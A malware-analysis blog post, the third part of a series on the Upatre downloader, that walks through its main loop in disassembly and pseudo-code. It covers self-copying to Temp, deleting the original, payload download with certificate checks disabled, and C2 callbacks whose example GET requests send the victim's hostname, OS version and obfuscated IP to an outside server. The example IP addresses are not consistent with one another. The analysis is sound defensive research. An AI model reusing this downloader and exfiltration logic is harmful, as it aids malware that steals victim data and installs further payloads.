Win32/Upatre.BI - Part ThreeMain Loop
Table of Contents
- Overview of the Main Loop
- Preparation Tasks
- Target Loop
- C2 Callbacks
For more information about the malware in this blog post see the Malpedia entry on Upatre.
- Part 1: Unpacking (June 10, 2015)
- Part 2: Config (June 14, 2015)
- Part 4: Payload Format (June 20, 2015)
This blog post analyzes the core routine of Upatre. It is covered in only one of my four parts on Upatre, because it honestly doesn’t do much. The ultimate goal of Upatre is to download second stage payload, which will do the real damage.
As already touched on at the discussion of Upatre’s configuration, there is a list of targets which the malware contacts, more or less, one after another. The first of the targets (denoted by “client ip” in the config listings) is used to determine the client IP. The remaining targets (“download x”) host the second stage payload. Apart from the list of targets, Upatre has one hard coded server (“C2 server”:“port”) which is used to give feedback about the victim’s machine and the wellbeing of Upatre.
This article covers the following topics:
- A simplified flow chart of Upatre’s main loop.
- The main steps in pseudo-code, trying to be as close to the actual Windows API calls as possible.
- The format and meaning of the C2 callbacks.
What happens when Upatre is able to download payload from one of its preconfigured download servers will be the topic of the next and final part of this series on Upatre.
Overview of the Main Loop
The following illustration summarizes the course of action. Some details, as well as some error handling, are omitted.
This section is about the upper half of the flow chart before the main loop. Upatre first resolves the global offsets. Then it parses the configuration data with subroutine
decrypt_strings_and_get_os_infos at offset 0x14 into the .text section. See the previous part for an explanation of these two steps. Still inside
decrypt_strings_and_get_os_infos, Upatre also determines some victim information.
The following snippet determines the netBIOS hostname of the victim’s client, and surrounds the name with forward slashes:
.text:0040109A call [ebp+64h+fetch_and_advance] .text:0040109D mov [ebp+64h+computer_name_slashed], eax .text:004010A0 mov edi, eax .text:004010A2 mov al, '/' .text:004010A4 stosb .text:004010A5 xor eax, eax .text:004010A7 stosb .text:004010A8 mov al, 200 .text:004010AA lea esi, [ebp+64h+os_info_slashed] .text:004010AD mov [esi], eax .text:004010AF push esi .text:004010B0 push edi .text:004010B1 call [ebx+imports.GetComputerNameW] .text:004010B7 lodsd .text:004010B8 lea edi, [edi+eax*2] .text:004010BB mov al, '/' .text:004010C0 stosb
The resulting Unicode string is for example:
debug038:02655D14 unicode 0, </VICTIM-COMPUTER/>,0
OS Version Information
Upatre also determines the operating system version and service pack level by calling
GetVersionExW. The resulting OSVERSIONINFOEXW structure is converted into the following compact string format:
dwMinorVersionfields respectively. For example “61” for Windows 7 and “51” for Windows XP. Upatre can’t properly handle version numbers greater than 9: on Windows 10 it turns the version information into “:1”.
["SER"]: if the
wProductTypeis 1, i.e.,
VER_NT_WORKSTATION, then this field is omitted, Otherwise the string “SER” is appended.
[-SP<service_pack_major>]: If the
wServicePackMajorvalue is non-zero (meaning a service pack is installed), then the string “-SP” followed by the service pack number is appended.
For example, on Windows Server 2012 with Service Pack 1 the OS information string is 62SER-SP1.
Copy Executable to Temp Folder
Upatre hides in the Temp-Folder of Windows. The target filename comes from the list of decrypted strings. The name of some samples is listed in the previous post (under the label “malware name”). Upatre checks whether it has already been copied by the existence of temp file, which is also stored in the temp folder. The names again comes from the config (“temp file").
If the temp file does not exist, which means Upatre is run for the first time, then the exe is copied to the new location in the temp folder. Upatre also creates the temp file and writes the current module path to the file. The copy is then executed and the current process terminates:
GetTempPathW(.., tmp_folder) tmp_file = tmp_folder + "/" + get_decrypted_string_by_index(8) hTmp = CreateFileW(tmp_file, GENERIC_READ, ... , OPEN_EXISTING, ...) IF hTmp == INVALID_HANDLE_VALUE THEN //// no temp file /////////////////// // create the tmp file DO GetModuleFileName(0, module_path); hTmp = CreateFileW(tmp_file, GENERIC_WRITE, ..., CREATE_ALWAYS, ...) WHILE hTmp == INVALID_HANDLE_VALUE // write the module path to the temp file WriteFile(hTmp, module_path, ...) CloseHandle(hTmp) // get the new exe path by joining %Temp% with the configured exe name GetTempPath(..., tmp_folder) exe_file = tmp_folder + "/" + get_decrypted_string_by_index(7) // open the exe at the current location and read content DO hModule = CreateFileW(module_path, GENERIC_READ, ... ,OPEN_EXISTING , ...) WHILE hModule == INVALID_HANDLE_VALUE module_file_size = GetFileSize(hModule, ...) ReadFile(hModule, module_content, module_file_size, ...) // copy content to new exe, run it, exit this process hExe = CreateFileW(exe_file, GENERIC_WRITE, ..., CREATE_ALWAYS, ...) IF hExe THEN WriteFile(hExe, module_content, module_file_size, ...); CloseHandle(hModule) CloseHandle(hExe) CreateProcessW(0, exe_file, ...) END IF ExitProcess(0)
Deleting the Original Executable
The process launched from the new path will again perform the initialization steps. This time the temp file exists and Upatre reads its content. It also checks the length of the content: if it is greater than 0x403, i.e., 515 Unicode characters, then the content is too long to be the path to the original exe. Upatre instead assumes that the temp file must contain downloaded second stage payload and enters the download handler (subject of the fourth part of this blog series):
ELSE // read content of temp file file_size_of_log_file = GetFileSize(hTmp, ...) DO r = ReadFile(hTmp, tmp_content, ..., tmp_size, ...) WHILE r == INVALID_HANDLE_VALUE // if file is large, then it must be payload -> go to DOWNLOAD_HANDLER IF tmp_size > 0x406 THEN goto DOWNLOAD_HANDLER; END IF
If, however, the content length is smaller than 0x406, then Upatre treats the content as the path to the original executable and tries to delete it up to 32 times, sleeping one second after each attempt:
CloseHandle(hTmp) // try to delete the original exe REPEAT 32 TIMES IF DeleteFileW(tmp_content) BREAK SleepEx(1 sec, ...) END REPEAT
Initializing the Internet Connection
The last step before entering the main loop is to initialize the internet connection. The user-agent and the accept-types are retrieved from the list of encrypted strings. Upatre also initializes the sleep timer to 10 seconds:
// initialize internet connection DO user_agent = get_decrypted_string_by_index(6) // user agent; hInternetOpen = InternetOpenW(InternetConnect, 0, 0, 0, 0) WHILE ( !hInternetOpen ) accept_types = get_decrypted_string_by_index(3); accept_types_2 = get_decrypted_string_by_index(4); sleep_timer = 10 secs encrypted_ip = "" target_nr = -1; rounds = 0
After the preparation tasks, Upatre starts looping over its targets until it manages to download a viable second stage payload.
Get Next Target
The loop starts by getting the next target number. If the end of the target list is reached, then the
rounds-counter is increased. Depending on how many rounds passed (meaning how many times Upatre went through the target list), different actions are taken:
- If 5 or less rounds passed: Upatre sleeps according to
sleep_timer, e.g., 10 seconds. Then a 0x2901 C2 callback is made with
send_user_infos. Details of C2 callbacks follow later.
- If 5 to 10 rounds passed: Upatre also sleeps as specified by
sleep_timer, but does not make C2 callbacks.
- If 10 or more rounds passed: Upatre resets the
roundscounter to 0, increases the
sleep_timerby 8 seconds, and then sleeps for 10 minutes. This way the sleep timer grows by 8 seconds every 10 rounds.
Upatre also resets the target number to 0 if the client ip is not yet known, and 1 otherwise. Finally, the server name field of the target, i.e., the second field, is checked: if it is -1, then the target is skipped and the next target is considered. Once a target is found, then potentially open network handles are closed. The following pseudo-code snippet shows the steps to get the next target number:
DO target_nr++ IF target_nr == nr_of_targets // end of target list rounds++ sleep = sleep_timer; skip_c2 = FALSE IF rounds > 5 THEN skip_c2 = TRUE IF rounds > 10 THEN rounds = 0 sleep_timer += 8 secs sleep = 10 minutes END IF END IF SleepEx(sleep, 1) // send feedback to C2 with code 0x2902 IF skip_c2 == FALSE THEN send_user_infos(0x2902) END IF // reset to first or second target IF client ip known THEN target_nr = 1 ELSE target_nr = 0 END IF END IF server = target[target_nr].server WHILE server == -1 // close previous handles IF hInternetTarget THEN InternetCloseHandle(hInternetTarget) hInternetTarget = NULL END IF IF hHttpRequestHandle THEN InternetCloseHandle(hHttpRequestHandle) hHttpRequestHandle = NULL END IF
First the connect timeout is set to four seconds:
// set timeout to 4 seconds InternetSetOptionW(hInternetOpenHandle, INTERNET_OPTION_CONNECT_TIMEOUT, 4 secs, ...);
Then Upatre tries to
InternetConnect to the target. As already noted in the previous blog post, the first target number is special; it is used to determine the IP of the client and not like the other targets to download second stage payload. The first target is also the only target that uses HTTP, the download locations use HTTPS. For the
InternetConnect this implies the port needs to be set accordingly.
The first round is special too. Instead of tackling the target number 1, i.e., the first download target, Upatre randomizes the target number. It only does this once. All subsequent rounds use the full set of download targets.
Upatre tries three times to connect to the target. If all three attempts fail, then the next target is attempted.
retries = 3 DO // the first target is http, the rest https IF target_nr == 0 port = 80 ELSE port = 443 END IF // if target_nr is 1, then shuffle target IF target_nr == 1 and first_round THEN first_round = FALSE target_nr = GetTickCount() % nr_of_targets IF target_nr == 0 THEN target_nr = 1 END IF END IF server = get_decrypted_string_by_index(target[target_nr].server) hInternetTarget = InternetConnectW(hInternetOpenHandle, server, port, ..., INTERNET_SERVICE_HTTP, ...) retries-- WHILE retries AND hInternetTarget == NULL // if failed, continue with next IP IF NOT hInternetTarget CONTINUE END IF
Upatre then tries — again three times — to open a HTTP request for the target. The first target, due to not being HTTPS, does not receive certain options. Note that although the download locations use HTTPS, the certificates are no validated.
retries = 3 DO flags = INTERNET_FLAG_RELOAD // all except the first target are https IF target_nr > 0 flags ^= INTERNET_FLAG_SECURE ^ INTERNET_FLAG_IGNORE_CERT_DATE_INVALID ^ INTERNET_FLAG_IGNORE_CERT_CN_INVALID ^ END IF // hardcoded accept types and target path accept_type = get_decrypted_string_by_index + get_decrypted_string_by_index path = target[target_nr].path // make request hHttpRequestHandle = HttpOpenRequestW(hInternetTarget, "GET", path, ..., accept_types, flags) retires--- WHILE retries AND hHttpRequestHandle == NULL // if failed, continue with next IP IF NOT hHttpRequestHandle CONTINUE END IF // all except first target are https IF target_nr > 0 THEN InternetSetOptionW(hHttpRequestHandle, INTERNET_OPTION_SECURITY_FLAGS, SECURITY_FLAG_IGNORE_UNKNOWN_CA, ...); END
HttpSendRequest and InternetReadFile
Upatre then tries twice to send the HTTP request to the server. The timeouts are set to 30 seconds.
// set timeout to 30 seconds -> longer because downloading file InternetSetOptionW(hHttpRequestHandle, INTERNET_OPTION_RECEIVE_TIMEOUT, 30 secs) InternetSetOptionW(hHttpRequestHandle, INTERNET_OPTION_CONNECT_TIMEOUT, 30 secs) // try twice to send the HTTPRequest retries = 2 DO r = HttpSendRequestW(hHttpRequestHandle, ...) retries-- WHILE retries > 0 AND NOT r // if failed, continue with next IP IF NOT r CONTINUE END IF
Then the response is read:
// read response total_read = 0 http_response =  WHILE TRUE IF InternetReadFile(hHttpRequestHandle, &buffer, 2 MB, &read) == NULL BREAK END IF total_read += read http_response += buffer IF read == 0 BREAK END IF END WHILE
Handle the Response
Upatre considers the target’s response a second stage payload, if the size is more than 150'070 bytes. In those cases it writes the content to the temp file and invokes the download handler, which is the topic of the next part of this blog series:
IF total_read > 0x24A36 hTmp = CreateFileW(tmp_file, GENERIC_WRITE, ..., CREATE_ALWAYS) IF hTmp == INVALID_HANDLE_VALUE ExitProcess(0) END IF WriteFile(hTmp, http_response, ...) CloseHandle(hTmp) tmp_content = http_response GOTO DOWNLOAD_HANLDER
A smaller response signifies a failed download of payload if the target number was not zero, and Upatre makes a C2 callback with error code 0x2902. If, however, the target number is zero and used to get the IP of the client, then a small response is expected. If Upatre doesn’t already know the client’s IP, then it considers the returned content to be the IP without sanity checking whatsoever. The IP is obfuscated by shifting all ASCII codes up 20 places:
ELSE IF target_nr == 0 AND encrypted_ip == "" // if target is 0 and client ip is not yet know FOR letter IN http_response DO IF letter == '.' OR '0' <= letter <= '9' encrypted_ip += (letter + 20) ELSE BREAK END IF END FOR // get C2 server and port from config strings // and random value to port port = get_decrypted_string_by_index(3) -> port port += GetTickCount() % 4 server = get_decrypted_string_by_index(9) -> c2 server hInternetC2 = InternetConnectW(hInternetOpenHandle, server, port, ..., INTERNET_SERVICE_HTTP, ...) // send user infos with argument 0 send_user_infos(0, hInternetC2) ELSE // if download of malware failed, send code 0x2902 send_user_infos(0x2902, hInternetC2) END IF CONTINUE END IF
Finally, let’s have a look at the C2-callbacks. These callback are made in two cases:
- To report back the victims operating system, hostname and IP.
- To report back errors, for instance when all targets are exhausted without finding a valid IP.
All C2 callbacks are made to the same target, which is hard-coded in the list of encrypted strings. I labelled the C2’s IP address “C2 server” in the listing of config files in the previous posts. The destination port is also determined based on a hard-coded value (“port” in the config listing). Upatre adds some randomness to this port by calling GetTickCount and taking the result modulo 4. A connection to the server and port is prepared by calling InternetConnect, and the resulting handle is passed to the
send_user_info subroutine, along with the current target number and an error code:
port = get_decrypted_string_by_index(3) -> port port += GetTickCount() % 4 server = get_decrypted_string_by_index(9) -> c2 server hInternetC2 = InternetConnectW(hInternetOpenHandle, server, port, ..., INTERNET_SERVICE_HTTP, ...) // send user infos with argument 0 send_user_infos(0, hInternetC2)
An error code of 0, as in the previous example, represents the first use case, where information about the victim is sent to the C2 server. All other error codes are used in the second case, i.e., when something went wrong.
- 0x2901: list of targets exhausted.
- 0x2902: errors related to the HTTP response, meaning it is either too short or corrupt. The later case is part of the download handler and the topic of the next part of the blog series.
- 0x2904: means the HTTP response could be decrypted correctly, but the check key does not match or the payloads does not contain an executable. Again this will be discussed in the next blog post.
The format of the C2-callbacks differs between the regular callback and the error reporting.
The callback in non error cases has the following format:
GET http://<C2 server>:<rand-port>/<id>/<hostname>/0/<os-info>/0/<obfuscated-ip> User-Agent: <user-agent>
With the fields being:
<C2 server>: the hard-coded C2 server
<rand-port>: the randomized port, i.e.,
<port> + GetTickCount() % 4
<id>: the root directory for the target, listed after “id =” in the config listings.
<hostname>: the netBIOS hostname of the client, as determined in
<os-info>: the operating system and service pack level, see Preparation Tasks.
<obfuscate-ip>: the obfuscated IP, i.e., the client’s IP with every ASCII character shifted up 20 places.
GET http://18.104.22.168:13381/PS21/VICTIM-COMPUTER/0/61-SP1/0/EFGBHIBJKBLM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0 Host: 22.214.171.124:13380 Pragma: no-cache
Where “EFGBHIBJKBLM” represents the IP 126.96.36.199.
The error callbacks are a little weird, because many Upatre implementations contain a
swprintf-bug. I first show how the callbacks are supposed to look like. Then I show what is actually sent for my sample. Here is the desired callback format:
GET http://<C2 server>:<rand-port>/<id>/<hostname>/41/<error-code & 0xFF>/<target-nr>/<obfuscated-ip> User-Agent: <user-agent>
With the new fields being:
<error-code & 0xFF>: the lower byte of the error code, for example 2 for 0x2902.
<target-nr>: the current target number, e.g., the target that caused the error.
For error code 0x2904, the intended C2 callback could looks as follows:
GET http://188.8.131.52:13382/PS21/VICTIM-COMPUTER/41/4/7/EFGBHIBJKBLM User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0 Host: 184.108.40.206:13380 Pragma: no-cache
Which would mean to the C2 operator that target number 7 delivered an executable that wasn’t corrupt, but failed the check-key-validation (see next blog post).
Upatre uses the swprintf library call to format the target number into a string. Unfortunately, the authors messed up the parameter order. As a result not only is the target number not appended, but the string is also not properly zero terminated. And because the HTTP GET target is always written to the same memory location, this means that the previous string is mangled in. Here is an example:
previous path: /PS21/VICTIM-COMPUTER/0/61-SP1/0/EFGBHIBJKBLM new path: /PS21/VICTIM-COMPUTER/41/2/ result: /PS21/VICTIM-COMPUTER/41/2/SP1/0/EFGBHIBJKBLM
previous path: /PS21/VICTIM-COMPUTER/0/52/0/EFGBHIBJKBLM new path: /PS21/VICTIM-COMPUTER/41/2/ result: /PS21/VICTIM-COMPUTER/41/2/0/EFGBHIBJKBLM
Upatre doesn’t expect or read a response from the C2 server. It just continues running the main loop until it finds a valid payload. The format of the payload, how to decrypt the payload (even without knowing the keys), and an example of how payloads are handled will be the topic of the next — and last — part of this series.